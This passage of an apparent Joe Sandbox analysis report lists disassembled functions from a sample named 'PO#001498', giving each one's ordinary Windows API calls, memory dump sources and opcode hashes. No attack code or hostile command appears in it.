                                                                                                                                                                                                        • ImageList_Remove.COMCTL32(?,?,?,?), ref: 004552EB
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000133D,?,00000002), ref: 004553D3
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2354583917-0
                                                                                                                                                                                                        • Opcode ID: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                                                                                                                        • Instruction ID: 19c5dc8500d05a42ca126c51664c70dafe1d1a8ca3b523478e8997b137d6e309
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 77519D30204A419FC714DF24C4A4B7A77E5FB49301F4486AEFD9ACB392DB78A849CB54
                                                                                                                                                                                                        Function 00463D7E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 141libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadLibraryW.KERNEL32(00000000), ref: 00463DD1
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(?,?), ref: 00463E68
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(?,00000000), ref: 00463E84
                                                                                                                                                                                                        • GetProcAddress.KERNEL32(?,?), ref: 00463ECE
                                                                                                                                                                                                        • FreeLibrary.KERNEL32(?,?,?,00000000,?), ref: 00463EF0
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressProc$Library$FreeLoad
                                                                                                                                                                                                        • String ID: #v
                                                                                                                                                                                                        • API String ID: 2449869053-554117064
                                                                                                                                                                                                        • Opcode ID: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                                                                                                                        • Instruction ID: 5a5949aabc30296464acd143044f95cbdcafad8a77d2d24e7d672d776762960f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9051C1752043409FC300EF25C881A5BB7A4FF89305F00456EF945A73A2DB79EE45CBAA
                                                                                                                                                                                                        Function 0047762A Relevance: 10.6, APIs: 7, Instructions: 140windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                                                        • GetMenu.USER32 ref: 004776AA
                                                                                                                                                                                                        • GetMenuItemCount.USER32(00000000), ref: 004776CC
                                                                                                                                                                                                        • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004776FB
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 0047771A
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Menu$CountItemStringWindow_wcslen
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1823500076-0
                                                                                                                                                                                                        • Opcode ID: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                                                                                                                        • Instruction ID: 4b9e656becebfc5f52f27a1d7ad2c07a58398098864d75d3a5ce1c02cc274359
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 174117715083019FD320EF25CC45BABB3E8BF88314F10492EF55997252D7B8E9458BA9
                                                                                                                                                                                                        Function 00448877 Relevance: 10.6, APIs: 7, Instructions: 130windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0044890A
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000469,?,00000000), ref: 00448920
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                                        • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                                        • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Enable$Show$MessageMoveSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 896007046-0
                                                                                                                                                                                                        • Opcode ID: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                                                                                                                        • Instruction ID: 0809a8548e22334437b8974569d6adfa08582830463fbdb99c3481629354d751
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 63419E746043419FF7248B24C884B6FB7A1FB99305F18886EF98197391DA78A845CB59
                                                                                                                                                                                                        Function 004413F0 Relevance: 10.6, APIs: 7, Instructions: 114windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                                                                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                                                                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                                                                                                                        • SendMessageW.USER32(02F51AC0,000000F1,00000000,00000000), ref: 004414C6
                                                                                                                                                                                                        • SendMessageW.USER32(02F51AC0,000000F1,00000001,00000000), ref: 004414F1
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$LongWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 312131281-0
                                                                                                                                                                                                        • Opcode ID: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                                                                                                                        • Instruction ID: f6a862a32ccfd92e4f153a1965fa7dc80102ffdb8abe4b8a046001f82176c48d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2F416A347442019FE720CF58DCC4F6A77A5FB8A754F24416AE5519B3B1CB75AC82CB48
                                                                                                                                                                                                        Function 0044849C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • _memset.LIBCMT ref: 004484C4
                                                                                                                                                                                                        • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 00448562
                                                                                                                                                                                                        • IsMenu.USER32(?), ref: 0044857B
                                                                                                                                                                                                        • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 004485D0
                                                                                                                                                                                                        • DrawMenuBar.USER32 ref: 004485E4
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Menu$Item$DrawInfoInsert_memset
                                                                                                                                                                                                        • String ID: 0
                                                                                                                                                                                                        • API String ID: 3866635326-4108050209
                                                                                                                                                                                                        • Opcode ID: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                                                                                                                        • Instruction ID: c1b4c65bd9dbf201e14e83578cc8030a3c247867dd5f1e451e409e2153a24926
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9F417F75604341AFE710CF45C984B6BB7E4FB89304F14881EFA554B391DBB4E849CB5A
                                                                                                                                                                                                        Function 0047244D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104sleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • InterlockedIncrement.KERNEL32 ref: 0047247C
                                                                                                                                                                                                        • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472491
                                                                                                                                                                                                        • Sleep.KERNEL32(0000000A), ref: 00472499
                                                                                                                                                                                                        • InterlockedIncrement.KERNEL32(004A7CAC), ref: 004724A4
                                                                                                                                                                                                        • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472599
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Interlocked$DecrementIncrement$Sleep
                                                                                                                                                                                                        • String ID: 0vH
                                                                                                                                                                                                        • API String ID: 327565842-3662162768
                                                                                                                                                                                                        • Opcode ID: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                                                                        • Instruction ID: 7246262c18bb701d5349304b0e2d21290bf7c9637501dd5a114e6955e8e78370
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 9631D2329082259BD710DF28DD41A8A77A5EB95324F05483EFD08FB251DB78EC498BED
                                                                                                                                                                                                        Function 00448AFF Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000401,?,00000000), ref: 00448B16
                                                                                                                                                                                                        • GetFocus.USER32 ref: 00448B1C
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                                        • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                                        • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                                        • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$Enable$Show$FocusMessageSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3429747543-0
                                                                                                                                                                                                        • Opcode ID: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                                                                                                                        • Instruction ID: 96ed947056310062a3fa6d2350adc65d304252fdbf70c479ab88671ed4e09c2c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FC31B4706443819BF7248E14C8C4BAFB7D0EB95745F04492EF981A6291DBA89845C719
                                                                                                                                                                                                        Function 00401BE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042A9B0
                                                                                                                                                                                                          • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                        • _memset.LIBCMT ref: 00401C62
                                                                                                                                                                                                        • _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                                                                                                                        • _wcscpy.LIBCMT ref: 00401CBD
                                                                                                                                                                                                        • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: IconLoadNotifyShell_String_memset_wcscpy_wcslen_wcsncpy
                                                                                                                                                                                                        • String ID: Line:
                                                                                                                                                                                                        • API String ID: 1620655955-1585850449
                                                                                                                                                                                                        • Opcode ID: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                                                                                                                        • Instruction ID: a4e7cf3abc31881c2b93aaae0beefbbd48c64772eea77d32b53e92a0700a02c6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7431D47151C301ABD324EB11DC41BDB77E8AF94314F04493FF989521A1DB78AA49C79B
                                                                                                                                                                                                        Function 0045D321 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 81COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SetErrorMode.KERNEL32(00000001), ref: 0045D32F
                                                                                                                                                                                                        • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3B3
                                                                                                                                                                                                        • __swprintf.LIBCMT ref: 0045D3CC
                                                                                                                                                                                                        • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D416
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorMode$InformationVolume__swprintf
                                                                                                                                                                                                        • String ID: %lu$HH
                                                                                                                                                                                                        • API String ID: 3164766367-3924996404
                                                                                                                                                                                                        • Opcode ID: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                                                                                                                        • Instruction ID: e4de0c6df68350460ad5232616e5185c9d799459bd1b640414cfcbd8d86849a8
                                                                                                                                                                                                        • Opcode Fuzzy Hash: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 85314A716083019BC310EF55D941A5BB7E4FF88704F40892EFA4597292D774EA09CB9A
                                                                                                                                                                                                        Function 00450DB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450E24
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450E35
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450E43
                                                                                                                                                                                                        • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450E54
                                                                                                                                                                                                        • SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450E62
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend
                                                                                                                                                                                                        • String ID: Msctls_Progress32
                                                                                                                                                                                                        • API String ID: 3850602802-3636473452
                                                                                                                                                                                                        • Opcode ID: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                                                                                                                        • Instruction ID: b51c377fab27852337593a8f268aff884918310fa347e0537580fa9f3b853d23
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2C2121712543007AE7209A65DC42F5BB3E9AFD8B24F214A0EF754B72D1C6B4F8418B58
                                                                                                                                                                                                        Function 00455449 Relevance: 10.6, APIs: 7, Instructions: 75windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • ImageList_Destroy.COMCTL32(?), ref: 00455451
                                                                                                                                                                                                        • ImageList_Destroy.COMCTL32(?), ref: 0045545F
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Destroy$DeleteImageList_ObjectWindow$Icon
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3985565216-0
                                                                                                                                                                                                        • Opcode ID: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                                                                                                                                                                                                        • Instruction ID: 02eb1b45cc7e926b76574f27881fb1e8d9d372094f4d7b34cf8607babd6cb63d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: dc022e11ae60a508d3fee16e2099accab07c71a042b18f60c16d9d094d7ead98
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EA213270200A019FCB20DF65CAD4B2A77A9BF45312F50855EED45CB352DB39EC45CB69
                                                                                                                                                                                                        Function 00415702 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • ___set_flsgetvalue.LIBCMT ref: 00415737
                                                                                                                                                                                                        • __calloc_crt.LIBCMT ref: 00415743
                                                                                                                                                                                                        • __getptd.LIBCMT ref: 00415750
                                                                                                                                                                                                        • CreateThread.KERNEL32(00000000,?,0041568B,00000000,00000004,00000000), ref: 00415776
                                                                                                                                                                                                        • ResumeThread.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00415786
                                                                                                                                                                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 00415791
